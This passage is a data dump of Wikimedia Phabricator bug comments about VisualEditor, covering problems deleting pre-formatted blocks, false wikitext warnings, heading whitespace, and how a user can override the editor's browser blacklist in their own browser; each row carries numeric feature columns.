Changing from INVALID to FIXED, but maybe it is a dup of another bug?",,,1381630832,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-iycnxhmj2yiay4bvfsic,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,12.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8333333333333335,0.9047619047619048,"The code for this enhancement request had already been written before the bug rasied, but wasn't deployed at that time.
URL
Changing from INVALID to FIXED, but maybe it is a dup of another bug?"
242334,VisualEditor: Bypass browser blacklist,"You can already bypass the blacklist by using ?vewhitelist=1 - sorry, we should document this somewhere!",,,1377532459,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iycnxhmj2yiay4bvfsic,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,11.0,5.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.684210526315789,1.0,"You can already bypass the blacklist by using ?vewhitelist=1 - sorry, we should document this somewhere!"
242328,VisualEditor: Bypass browser blacklist,"For anyone wanting to bypass it on browser with a decent JS debugger, set a breakpoint on the line 'mw.libs.ve = init' in 

https://bits.wikimedia.org/static-1.22wmf10/extensions/VisualEditor/modules/ve-mw/init/targets/ve.init.mw.ViewPageTarget.init.js

Then execute
JS> delete init.blacklist.opera

And resume running the VE scripts.

Im guessing this isnt possible on most mobile browsers, so one of option 1-3 or similar would be useful.",,,1374372834,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-iycnxhmj2yiay4bvfsic,task_subcomment,,True,c1,3,False,,,2,,0.0,1.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,11.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,3.0,11.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,3.0,11.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,4.0,0.0,1.0,1.0,3.8,0.8428571428571429,"For anyone wanting to bypass it on browser with a decent JS debugger, set a breakpoint on the line 'mw.libs.ve = init' in 

URL

Then execute
JS> delete init.blacklist.opera

And resume running the VE scripts.

Im guessing this isnt possible on most mobile browsers, so one of option 1-3 or similar would be useful."
53758,Visual editor: issues with removing leading space pre blocks,"When a page with blocks of pre-formatted text that use the leading space in wikitaxt is edited in Visual Editor there are various issues trying to remove the pre-formatted blocks. https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=565085889 can be used for testing.

* It is not possible to delete a block on the first line of a page
* When the pre-formatted block follows a mutli-line template, that template is deleted and the contents of the pre-formatted block becomes normal text on the line above where the template as, appended to any text that was already there.
* When the pre-formatted block follows a normal line of text or a single line template the contents of the block are appended to the end of that line.
* When the block follows indented text, the contents are appended to the last line of the indented block, even if that is a line that doesn't exist in wikitext (see {T52995})
* When the block follows an ordered or unordered list, the text is appended to the last line of the last item in the list
*When the block follows an image, the contents are appended to the image caption. This is probably depends on {T53624} and so I would expect the same behaviour with tables, but I have not tested that.
*If the block follows another pre-formatted block, the contents gets appended to the end of that block.

In all cases this can be worked around by inserting and then backspacing a new line at the start of the block.

In cases when there is a line of normal text, a blank line or a single line template before the pre-formatted block then pressing delete at the end of that line appends the contents of the block at the cursor position as normal text.

The differing behaviour of single and multi-line templates may be related to {T53708}

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374347580,1437778276.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-4imcgove7xglvcqm25ym,task_description,resolved,True,c1,3,False,False,False,2,,0.5,0.0,0.0,2.25,0.75,11.75,0.5,0.0,0.0,0.5,2.0,0.25,0.0,0.0,0.5,0.5,0.25,4.5,11.5,0.0,0.5,0.0,0.0,0.25,0.25,0.25,0.0,0.5,0.75,0.25,0.25,6.0,0.5,0.25,0.0,0.0,0.0,0.0,0.75,0.25,0.0,0.0,0.0,1.0,0.25,0.0,0.0,0.75,0.0,19.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.25,0.5,0.0,0.0,0.75,0.0,0.0,0.25,0.75,0.0,12.25,3.75,5.5,2.5,2.0,15.25,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.75,11.5,1.25,0.0,0.0,0.0,0.75,0.0,2.75,3.25,0.0,1.5,0.0,0.0,0.0,3.8385416666666665,0.5911458333333334,"When a page with blocks of pre-formatted text that use the leading space in wikitaxt is edited in Visual Editor there are various issues trying to remove the pre-formatted blocks. URL can be used for testing.

* It is not possible to delete a block on the first line of a page
* When the pre-formatted block follows a mutli-line template, that template is deleted and the contents of the pre-formatted block becomes normal text on the line above where the template as, appended to any text that was already there.
* When the pre-formatted block follows a normal line of text or a single line template the contents of the block are appended to the end of that line.
* When the block follows indented text, the contents are appended to the last line of the indented block, even if that is a line that doesn't exist in wikitext (see {T52995})
* When the block follows an ordered or unordered list, the text is appended to the last line of the last item in the list
*When the block follows an image, the contents are appended to the image caption. This is probably depends on {T53624} and so I would expect the same behaviour with tables, but I have not tested that.
*If the block follows another pre-formatted block, the contents gets appended to the end of that block.

In all cases this can be worked around by inserting and then backspacing a new line at the start of the block.

In cases when there is a line of normal text, a blank line or a single line template before the pre-formatted block then pressing delete at the end of that line appends the contents of the block at the cursor position as normal text.

The differing behaviour of single and multi-line templates may be related to {T53708}

--------------------------
**Version**: unspecified
**Severity**: normal"
496758,Visual editor: issues with removing leading space pre blocks,"Most of these workflows now work correctly. A few of them don't, so I've filed them separately as T106905 and T106902.",,,1437778276,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-4imcgove7xglvcqm25ym,task_subcomment,,True,c1,3,True,,,107,,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,8.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,3.769230769230769,0.8846153846153846,"Most of these workflows now work correctly. A few of them don't, so I've filed them separately as T106905 and T106902."
455240,Visual editor: issues with removing leading space pre blocks,I also see instances where [[https://it.wikipedia.org/w/index.php?title=Giorgio_Summaripa&diff=72637884&oldid=72353193|a space pre was *added* ]] while inserting an image around a paragraph. Or maybe that's T68628?,,,1430994055,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4imcgove7xglvcqm25ym,task_subcomment,,True,c1,3,True,,,96,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,20.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,13.0,7.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,7.0,3.5,0.9,I also see instances where [[URL space pre was *added* ]] while inserting an image around a paragraph. Or maybe that's T68628?
421326,Visual editor: issues with removing leading space pre blocks,">>! In T53758#1088912, @Aklapper wrote:
>> * When the pre-formatted block follows a mutli-line template, that template is deleted and the contents of the pre-formatted block becomes normal text on the line above where the template as, appended to any text that was already there.
> 
> When exactly is ""that template deleted""? Already by loading the page in VisualEditor? If so I fail to reproduce...

From memory, what I meant by that was that when you have a template that produces more than one line of text that is immediately followed by a block of pre-formatted text that uses the leading space method (i.e. not <pre> tags), removing the leading space also deletes the preceding template and the linebreak between the template and the paragraph above the template. i.e.

Paragraph one.
Template
[space]two

becomes

Paragraph one.two

when you try to delete [space]. I don't have time now to test whether this still happens.",,,1425550174,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4imcgove7xglvcqm25ym,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.5,1.5,3.0,0.5,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.5,0.0,5.5,7.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,1.5,0.0,13.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.5,0.0,0.0,0.0,1.5,0.0,6.5,1.0,6.5,2.5,1.5,8.0,0.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,2.5,7.5,2.5,0.0,0.0,0.0,2.5,0.0,3.5,1.0,0.0,2.5,0.5,0.0,4.5,4.0,0.711864406779661,"QUOTE
QUOTE
QUOTE
QUOTE

From memory, what I meant by that was that when you have a template that produces more than one line of text that is immediately followed by a block of pre-formatted text that uses the leading space method (i.e. not <pre> tags), removing the leading space also deletes the preceding template and the linebreak between the template and the paragraph above the template. i.e.

Paragraph one.
Template
[space]two

becomes

Paragraph one.two

when you try to delete [space]. I don't have time now to test whether this still happens."
420822,Visual editor: issues with removing leading space pre blocks,"> * It is not possible to delete a block on the first line of a page

I managed after removing the text and then putting the cursor in front of the ""Section 1"" heading and pressing Backspace.

> * When the pre-formatted block follows a mutli-line template, that template is deleted and the contents of the pre-formatted block becomes normal text on the line above where the template as, appended to any text that was already there.

When exactly is ""that template deleted""? Already by loading the page in VisualEditor? If so I fail to reproduce...",,,1425486185,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4imcgove7xglvcqm25ym,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,13.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,19.0,4.0,4.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,13.0,4.0,4.0,8.0,0.0,4.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,4.018867924528302,0.7547169811320755,"QUOTE

I managed after removing the text and then putting the cursor in front of the ""Section 1"" heading and pressing Backspace.

QUOTE

When exactly is ""that template deleted""? Already by loading the page in VisualEditor? If so I fail to reproduce..."
242029,Visual editor: issues with removing leading space pre blocks,In this edit https://en.wikipedia.org/w/index.php?title=Morse_code&diff=571916446&oldid=571809074 the multiple leading spaces of a pre-formatted block have been removed while a totally unrelated line was being edited.  The edit summary gives no indication that this was done deliberately so I am assuming this was the result of a bug in VisEd.,,,1378654619,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-4imcgove7xglvcqm25ym,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,2.0,8.0,0.0,10.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,12.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,17.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,12.0,10.0,4.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,4.153846153846154,0.8076923076923077,In this edit URL the multiple leading spaces of a pre-formatted block have been removed while a totally unrelated line was being edited.  The edit summary gives no indication that this was done deliberately so I am assuming this was the result of a bug in VisEd.
53751,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit","In my volunteer mode, I was removing content that was copied from an external site. I didn't add any content at all, but simply deleted text (and a template) and merged the resultant material into a single paragraph.

VisualEditor flagged this as my adding wikimarkup and gave me the nowiki warning. :)

See http://en.wikipedia.org/wiki/File:Wikimarkup_warning_without_case.png which is confusingly titled, because I missed the ""u"" in ""cause.""

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374332100,1416962052.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-6gr7275ayzz2al57mitp,task_description,resolved,True,c1,3,False,False,False,2,,2.0,0.0,0.0,2.0,1.0,5.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,6.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,3.0,9.0,1.0,4.0,9.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,7.0,1.0,0.0,4.0,0.0,6.0,0.0,2.0,3.0,1.0,2.0,0.0,0.0,0.0,3.909090909090909,0.7070707070707071,"In my volunteer mode, I was removing content that was copied from an external site. I didn't add any content at all, but simply deleted text (and a template) and merged the resultant material into a single paragraph.

VisualEditor flagged this as my adding wikimarkup and gave me the nowiki warning. :)

See URL which is confusingly titled, because I missed the ""u"" in ""cause.""

--------------------------
**Version**: unspecified
**Severity**: normal"
333246,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit",Verified in betalabs.,,,1416959359,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,True,,,73,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,Verified in betalabs.
333197,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit","Change 175336 merged by jenkins-bot:
Replace hacky wikitext warning listener with sequences

[[https://gerrit.wikimedia.org/r/175336]]",,,1416955369,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,False,,,73,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.409090909090909,0.9090909090909091,"Change 175336 merged by jenkins-bot:
Replace hacky wikitext warning listener with sequences

[[GERRIT_URL]]"
333194,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit","Change 175336 had a related patch set uploaded (by Catrope):
Replace hacky wikitext warning listener with sequences

[[https://gerrit.wikimedia.org/r/175336]]

#patch-for-review",,,1416955169,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,False,,,73,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,4.090909090909091,0.8484848484848485,"Change 175336 had a related patch set uploaded (by Catrope):
Replace hacky wikitext warning listener with sequences

[[GERRIT_URL]]

#patch-for-review"
241723,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit",Fixing this would cause a serious performance penalty for minor improvement in the user experience. WONTFIXing.,,,1395357064,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,5.333333333333333,0.9444444444444444,Fixing this would cause a serious performance penalty for minor improvement in the user experience. WONTFIXing.
241718,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit","I get this error by adding anything to the second paragraph (beginning ""VisualEditor"" at https://office.wikimedia.org/w/index.php?title=User:Mdennis/sandbox&oldid=105896  There are preëxistng (intentional) nowiki's in this paragraph, which may the cause.",,,1390933967,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,False,,,30,,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,6.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,4.194444444444445,0.8611111111111112,"I get this error by adding anything to the second paragraph (beginning ""VisualEditor"" at URL  There are preëxistng (intentional) nowiki's in this paragraph, which may the cause."
241712,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit","From bug 53661:
The Wikitext warning is triggered in some circumstances without the user having
entered Wikitext. The one cause I can reliably reproduce is where there is
nowikied markup on the page from a previous edit.

To reproduce:
1. Load
https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox3&oldid=571089410&veaction=edit
2. Click anywhere on the last line of Section number two (the line that
contains ""[[Manhatan]]"" and an ISBN, both of which are enclosed in nowiki
tags). 

It seems that the warning is triggered by the existence of wikitext markup in
the VE editing surface, rather than by its addition.",,,1378458535,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,False,,,9,,0.5,0.0,0.0,2.0,0.0,2.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,0.5,0.0,2.5,11.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,5.0,0.0,1.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.0,13.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,7.0,3.0,9.0,1.5,1.0,9.5,0.0,0.0,0.0,0.0,1.5,0.0,2.5,0.0,2.0,11.0,3.5,0.0,1.5,0.0,2.0,0.0,2.0,1.5,0.0,0.5,0.0,0.0,2.0,3.734289617486339,0.7273224043715847,"From bug 53661:
The Wikitext warning is triggered in some circumstances without the user having
entered Wikitext. The one cause I can reliably reproduce is where there is
nowikied markup on the page from a previous edit.

To reproduce:
1. Load
URL
2. Click anywhere on the last line of Section number two (the line that
contains ""[[Manhatan]]"" and an ISBN, both of which are enclosed in nowiki
tags). 

It seems that the warning is triggered by the existence of wikitext markup in
the VE editing surface, rather than by its addition."
241707,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit",*** Bug 53661 has been marked as a duplicate of this bug. ***,,,1378458424,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53661 has been marked as a duplicate of this bug. ***
53744,Default whitespace for headings should include spaces before/after ==,"As a follow-up to bug 49428 and bug 50771, default whitespace for headings should includespaces before/after ==.

Or in other words: prefer ""== Heading =="" to ""==Heading=="".

(While this might seem minor, the first style was enforced at pl.wp with automated tools since ever and editors gets annoyed when VE changes it. Reported at https://pl.wikipedia.org/wiki/Wikipedia:VisualEditor/Opinie#sprz.C4.85tanie_kodu )

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1374320940,1386965698.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_description,resolved,True,c1,3,True,False,False,2,,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,1.0,1.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,10.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,11.0,2.0,0.0,4.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.7604166666666665,0.6979166666666666,"As a follow-up to bug 49428 and bug 50771, default whitespace for headings should includespaces before/after ==.

Or in other words: prefer ""== Heading =="" to ""==Heading=="".

(While this might seem minor, the first style was enforced at pl.wp with automated tools since ever and editors gets annoyed when VE changes it. Reported at URL )

--------------------------
**Version**: unspecified
**Severity**: enhancement"
241360,Default whitespace for headings should include spaces before/after ==,"Change 101318 merged by GWicke:
(Bug 51744) Add space around = chars in new headings

https://gerrit.wikimedia.org/r/101318",,,1386964645,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9523809523809526,1.0,"Change 101318 merged by GWicke:
(Bug 51744) Add space around = chars in new headings

GERRIT_URL"
241355,Default whitespace for headings should include spaces before/after ==,"Change 101275 merged by GWicke:
Merge ""(Bug 51744) Add space around = chars in new headings""

https://gerrit.wikimedia.org/r/101275",,,1386964633,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.9583333333333334,"Change 101275 merged by GWicke:
Merge ""(Bug 51744) Add space around = chars in new headings""

GERRIT_URL"
241349,Default whitespace for headings should include spaces before/after ==,"Change 101318 had a related patch set uploaded by GWicke:
(Bug 51744) Add space around = chars in new headings

